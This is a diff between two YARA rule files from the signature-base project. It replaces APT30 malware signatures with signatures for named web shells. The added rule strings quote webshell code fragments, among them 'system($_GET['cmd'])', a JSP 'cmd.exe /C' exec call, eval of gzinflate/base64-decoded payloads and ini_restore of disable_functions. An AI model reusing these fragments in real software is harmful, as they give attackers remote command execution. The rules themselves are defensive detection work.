-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L702-L725"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff39fc7643441652ec0cdf2f84c7827d326ddb5f01451b3857cfc4015eb01467"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1585-L1600"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b3028a854d07674f4d8a9cf2fb6137ec"
+		logic_hash = "14b0ac1b1b8538b0c05dcd0a8b7129fdcad2e595ea00630bd55cee6dff596d4f"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "35dfb55f419f476a54241f46e624a1a4"
-		hash2 = "4fffcbdd4804f6952e0daf2d67507946"
-		hash3 = "597805832d45d522c4882f21db800ecf"
-		hash4 = "6bd422d56e85024e67cc12207e330984"
-		hash5 = "82e13f3031130bd9d567c46a9c71ef2b"
-		hash6 = "b79d87ff6de654130da95c73f66c15fa"
 
 	strings:
-		$s0 = "Windows Security Service Feedback" fullword wide
-		$s1 = "wssfmgr.exe" fullword wide
-		$s2 = "\\rb.htm" ascii
-		$s3 = "rb.htm" fullword ascii
-		$s4 = "cook5" ascii
-		$s5 = "5, 4, 2600, 0" fullword wide
+		$s1 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">" fullword
+		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+		$s9 = "<%@page contentType=\"text/html;charset=gb2312\"%>" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_27 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Guige02
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file guige02.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "22815745-086f-59ee-aac1-f35e49aa5835"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L727-L746"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "959573261ca1d7e5ddcd19447475b2139ca24fe1"
-		logic_hash = "5ef0661c5c04f0f0923548509363971011194a16e4308fcfdea5db90e85518a4"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1601-L1615"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a3b8b2280c56eaab777d633535baf21d"
+		logic_hash = "c214e50b209970c03d389d97673901ec44b2727e5c7588e5e4d0a644cc691423"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Mozilla/4.0" fullword ascii
-		$s1 = "dizhi.gif" fullword ascii
-		$s5 = "oftHaveAck+" ascii
-		$s10 = "HlobalAl" fullword ascii
-		$s13 = "$NtRND1$" fullword ascii
-		$s14 = "_NStartup" ascii
-		$s16 = "GXSYSTEM" fullword ascii
+		$s0 = "????????????????%><html><head><title>hahahaha</title></head><body bgcolor=\"#fff"
+		$s1 = "<%@page contentType=\"text/html; charset=GBK\" import=\"java.io.*;\"%><%!private"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_28 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Ghost
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file ghost.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1bc8c68f-ebbb-58b1-92aa-5954318096a0"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L748-L776"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d246a188ad9ec69948bef6018bab1e7a244c76dcf511c3f9d16024ef7e369ae2"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1616-L1631"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "38dc8383da0859dca82cf0c943dbf16d"
+		logic_hash = "9a7635d313345e7b7cb7424726ed62015afd78412b504e406155f85c4cdf623f"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e62a63307deead5c9fcca6b9a2d51fb0"
-		hash2 = "5b590798da581c894d8a87964763aa8b"
 
 	strings:
-		$s0 = "www.flyeagles.com" fullword ascii
-		$s1 = "iexplore.exe" fullword ascii
-		$s2 = "www.km-nyc.com" fullword ascii
-		$s3 = "cmdLine.exe" fullword ascii
-		$s4 = "Software\\Microsoft\\CurrentNetInf" fullword ascii
-		$s5 = "/dizhi.gif" ascii
-		$s6 = "/connect.gif" ascii
-		$s7 = "USBTest.sys" fullword ascii
-		$s8 = "/ver.htm" fullword ascii
-		$s11 = "\\netscv.exe" ascii
-		$s12 = "/app.htm" fullword ascii
-		$s13 = "\\netsvc.exe" ascii
-		$s14 = "/exe.htm" fullword ascii
-		$s18 = "MicrosoftHaveAck" fullword ascii
-		$s19 = "MicrosoftHaveExit" fullword ascii
+		$s1 = "<?php $OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64'"
+		$s6 = "//<img width=1 height=1 src=\"http://websafe.facaiok.com/just7z/sx.asp?u=***.***"
+		$s7 = "preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'(KmU(\"" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and 7 of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_29 : FILE
+rule SIGNATURE_BASE_Webshell_Winx_Shell
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file WinX Shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "24334885-fcb4-5a13-82e8-c8465f97361e"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L778-L798"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "44492c53715d7c79895904543843a321491cb23a"
-		logic_hash = "7a59118ba00413961e6fc4d54680373d033a38d698613f853f67137b85c123a7"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1632-L1646"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "17ab5086aef89d4951fe9b7c7a561dda"
+		logic_hash = "e6dd5178cafccca751dd3f2e36206acd214a65b2e0783a738a104b3dc680ca21"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "LSSAS.exe" fullword ascii
-		$s1 = "Software\\Microsoft\\FlashDiskInf" fullword ascii
-		$s2 = ".petite" fullword ascii
-		$s3 = "MicrosoftFlashExit" fullword ascii
-		$s4 = "MicrosoftFlashHaveExit" fullword ascii
-		$s5 = "MicrosoftFlashHaveAck" fullword ascii
-		$s6 = "\\driver32" ascii
-		$s7 = "MicrosoftFlashZJ" fullword ascii
+		$s5 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">Filenam"
+		$s8 = "print \"<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#990000\\\">File: </"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_30 : FILE
+rule SIGNATURE_BASE_Webshell_Crystal_Crystal
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Crystal.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "787b288a-6fb4-5483-af76-933651ec6d58"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L800-L817"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3b684fa40b4f096e99fbf535962c7da5cf0b4528"
-		logic_hash = "5ecfc8d53b768f624c8765f70708bfaae5396d7aa6b0335f7c656f4350649c5d"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1647-L1661"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fdbf54d5bf3264eb1c4bff1fac548879"
+		logic_hash = "735332a2ec7df65cca4ca69e702c5893d302a01c7ee7b84d01a1e6ab9646de93"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)" fullword wide
-		$s3 = "RnhwtxtkyLRRMf{jJ}ny" fullword ascii
-		$s4 = "RnhwtxtkyLRRJ}ny" fullword ascii
-		$s5 = "ZRLDownloadToFileA" fullword ascii
-		$s9 = "5.1.2600.2180" fullword wide
+		$s1 = "show opened ports</option></select><input type=\"hidden\" name=\"cmd_txt\" value"
+		$s6 = "\" href=\"?act=tools\"><font color=#CC0000 size=\"3\">Tools</font></a></span></f"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_31 : FILE
+rule SIGNATURE_BASE_Webshell_R57_1_4_0
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file r57.1.4.0.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9333870b-7eaa-54dd-a801-7292708fb592"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L819-L836"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8b4271167655787be1988574446125eae5043aca"
-		logic_hash = "003bfa9774d3e85829cc266d06417b86287986994995adfa7a2bd26c3648c07e"
-		score = 75
-		quality = 60
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1662-L1678"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "574f3303e131242568b0caf3de42f325"
+		logic_hash = "cb48621c572d529b8dc634e7b6360257ad4fce9664bfca7ee7c0101be42d2c24"
+		score = 70
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\ZJRsv.tem" ascii
-		$s1 = "forceguest" fullword ascii
-		$s4 = "\\$NtUninstallKB570317$" ascii
-		$s8 = "[Can'tGetIP]" fullword ascii
-		$s14 = "QWERTY:,`/" fullword ascii
+		$s4 = "@ini_set('error_log',NULL);" fullword
+		$s6 = "$pass='abcdef1234567890abcdef1234567890';" fullword
+		$s7 = "@ini_restore(\"disable_functions\");" fullword
+		$s9 = "@ini_restore(\"safe_mode_exec_dir\");" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_J : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Ajn
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file ajn.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "64a5106e-d7f3-5c68-a14e-410149a1bb9e"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L838-L869"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7c404689b60fe493ca9b503902173ac04d7bb00488edec9e69006e6d51e20c51"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1680-L1694"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aaafafc5d286f0bff827a931f6378d04"
+		logic_hash = "0a6c9a210c0337d6b984bcf6cd7f14103a0f6f5d38a26c789519c2b1629aaede"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "49aca228674651cba776be727bdb7e60"
-		hash2 = "5c7a6b3d1b85fad17333e02608844703"
-		hash3 = "649fa64127fef1305ba141dd58fb83a5"
-		hash4 = "9982fd829c0048c8f89620691316763a"
-		hash5 = "baff5262ae01a9217b10fcd5dad9d1d5"
-		hash6 = "9982fd829c0048c8f89620691316763a"
 
 	strings:
-		$s0 = "Launcher.EXE" fullword wide
-		$s1 = "Symantec Security Technologies" fullword wide
-		$s2 = "\\Symantec LiveUpdate.lnk" ascii
-		$s3 = "Symantec Service Framework" fullword wide
-		$s4 = "\\ccSvcHst.exe" ascii
-		$s5 = "\\wssfmgr.exe" ascii
-		$s6 = "Symantec Corporation" fullword wide
-		$s7 = "\\5.1.0.29" ascii
-		$s8 = "\\Engine" ascii
-		$s9 = "Copyright (C) 2000-2010 Symantec Corporation. All rights reserved." fullword wide
-		$s10 = "Symantec LiveUpdate" fullword ascii
-		$s11 = "\\Norton360" ascii
-		$s15 = "BinRes" fullword ascii
-		$s16 = "\\readme.lz" ascii
+		$s1 = "seal.write \"Set WshShell = CreateObject(\"\"WScript.Shell\"\")\" & vbcrlf" fullword
+		$s6 = "seal.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreateOve"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Microfost : FILE
+rule SIGNATURE_BASE_Webshell_Php_Cmd
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file cmd.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "19231001-1da3-5be6-8275-03c9fc7c6377"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L871-L885"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "57169cb4b8ef7a0d7ebd7aa039d1a1efd6eb639e"
-		logic_hash = "1fe5be3a88859fd3d485adfba92cf117afedc739bd0a46c039124919c3b81361"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1695-L1710"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c38ae5ba61fd84f6bbbab98d89d8a346"
+		logic_hash = "d9a0802f6fd7047ba5477f6bba61c4ac02cabfce06270fdbd8e8e68a693ccf68"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Copyright (c) 2007 Microfost All Rights Reserved" fullword wide
-		$s2 = "Microfost" fullword wide
+		$s0 = "if($_GET['cmd']) {" fullword
+		$s1 = "// cmd.php = Command Execution" fullword
+		$s7 = "  system($_GET['cmd']);" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_K : FILE
+rule SIGNATURE_BASE_Webshell_Asp_List
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file list.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "49629825-4233-5d74-b763-b2500536eb90"
-		date = "2015-04-03"
-		modified = "2023-01-06"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L887-L917"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "142bc01ad412799a7f9ffed994069fecbd5a2f93"
-		logic_hash = "eed03bb4290eef0ad1cf362a157923aa1fb8faa9305b5aaba3563d0a4e65e1a5"
-		score = 75
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1711-L1725"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1cfa493a165eb4b43e6d4cc0f2eab575"
+		logic_hash = "9c8bdeb5992015b26fbee418ed6e6b7c6b0901f26bddf9dc26706c0b63ea9c95"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Maybe a Encrypted Flash" fullword ascii
-		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
-		$s1 = "\\TEMP\\" ascii
-		$s2 = "\\Temporary Internet Files\\" ascii
-		$s5 = "%s Size:%u Bytes" fullword ascii
-		$s7 = "$.DATA$" fullword ascii
-		$s10 = "? Size:%u By s" fullword ascii
-		$s12 = "Maybe a Encrypted Flash" fullword ascii
-		$s14 = "Name:%-32s" fullword ascii
-		$s15 = "NickName:%-32s" fullword ascii
-		$s19 = "Email:%-32s" fullword ascii
-		$s21 = "C:\\Prog" ascii
-		$s22 = "$LDDATA$" ascii
-		$s31 = "Copy File %s OK!" fullword ascii
-		$s32 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
-		$s34 = "open=%s" fullword ascii
+		$s0 = "<INPUT TYPE=\"hidden\" NAME=\"type\" value=\"<%=tipo%>\">" fullword
+		$s4 = "Response.Write(\"<h3>FILE: \" & file & \"</h3>\")" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and ( all of ($x*) and 3 of ($s*))
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_33 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_Co
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file co.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "be6afc4a-97fe-56ba-b057-e21415f9833d"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L919-L939"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "72c568ee2dd75406858c0294ccfcf86ad0e390e4"
-		logic_hash = "295c2d9fcf1c3bab54650fd1d203dfb8c12269945aad8927066ef6f815abea69"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1726-L1740"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "62199f5ac721a0cb9b28f465a513874c"
+		logic_hash = "3fab3e97d10b6c56fb7df8bcd520bda318fc127a620c5aafba09cb36ffd6a8df"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Version 4.7.3001" fullword wide
-		$s1 = "msmsgr.exe" fullword wide
-		$s2 = "MYUSER32.dll" fullword ascii
-		$s3 = "MYADVAPI32.dll" fullword ascii
-		$s4 = "CeleWare.NET1" fullword ascii
-		$s6 = "MYMSVCRT.dll" fullword ascii
-		$s7 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the" wide
-		$s8 = "WWW.CeleWare.NET1" ascii
+		$s0 = "cGX6R9q733WvRRjISKHOp9neT7wa6ZAD8uthmVJV" fullword
+		$s11 = "6Mk36lz/HOkFfoXX87MpPhZzBQH6OaYukNg1OE1j" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and 6 of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_34 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_150
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file 150.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a4802e13-4151-5f17-ba91-dcf9ef6b52bb"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L941-L960"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "216868edbcdd067bd2a9cce4f132d33ba9c0d818"
-		logic_hash = "2406f9613585669f88c389ea9729a089f6aef13fba46d60b713f51cd3a946b5d"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1741-L1755"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "400c4b0bed5c90f048398e1d268ce4dc"
+		logic_hash = "139e3d6aa3cd2b6a9731a6cc14c921f9fd82ff7ca79d156f1ff6bc544897fb12"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "dizhi.gif" ascii
-		$s1 = "eagles.vip.nse" ascii
-		$s4 = "o%S:S0" ascii
-		$s5 = "la/4.0" ascii
-		$s6 = "s#!<4!2>s02==<'s1" ascii
-		$s7 = "HlobalAl" ascii
-		$s9 = "vcMicrosoftHaveAck7" ascii
+		$s0 = "HJ3HjqxclkZfp"
+		$s1 = "<? eval(gzinflate(base64_decode('" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_35 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Cmdjsp_2
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file cmdjsp.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8a30720b-06da-5a82-8bab-bf06121afd68"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L962-L977"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "df48a7cd6c4a8f78f5847bad3776abc0458499a6"
-		logic_hash = "a70d9471215ddcfe84a39b33f53c4114b205aa2cc95cd93081afe442ee2b8b42"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1756-L1770"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1b5ae3649f03784e2a5073fa4d160c8b"
+		logic_hash = "83be82e260adcff9d3d11344c363f6b5da331339ffe78e561cea9ab09b209030"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "WhBoyIEXPLORE.EXE.exe" fullword ascii
-		$s5 = "Startup>A" fullword ascii
-		$s18 = "olhelp32Snapshot" fullword ascii
+		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
+		$s4 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_1 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_C37
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file c37.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L979-L996"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8cea83299af8f5ec6c278247e649c9d91d4cf3bc"
-		logic_hash = "5f20b60b8721d62731708630a3443741c956304c553f651572282336995f6d4f"
-		score = 75
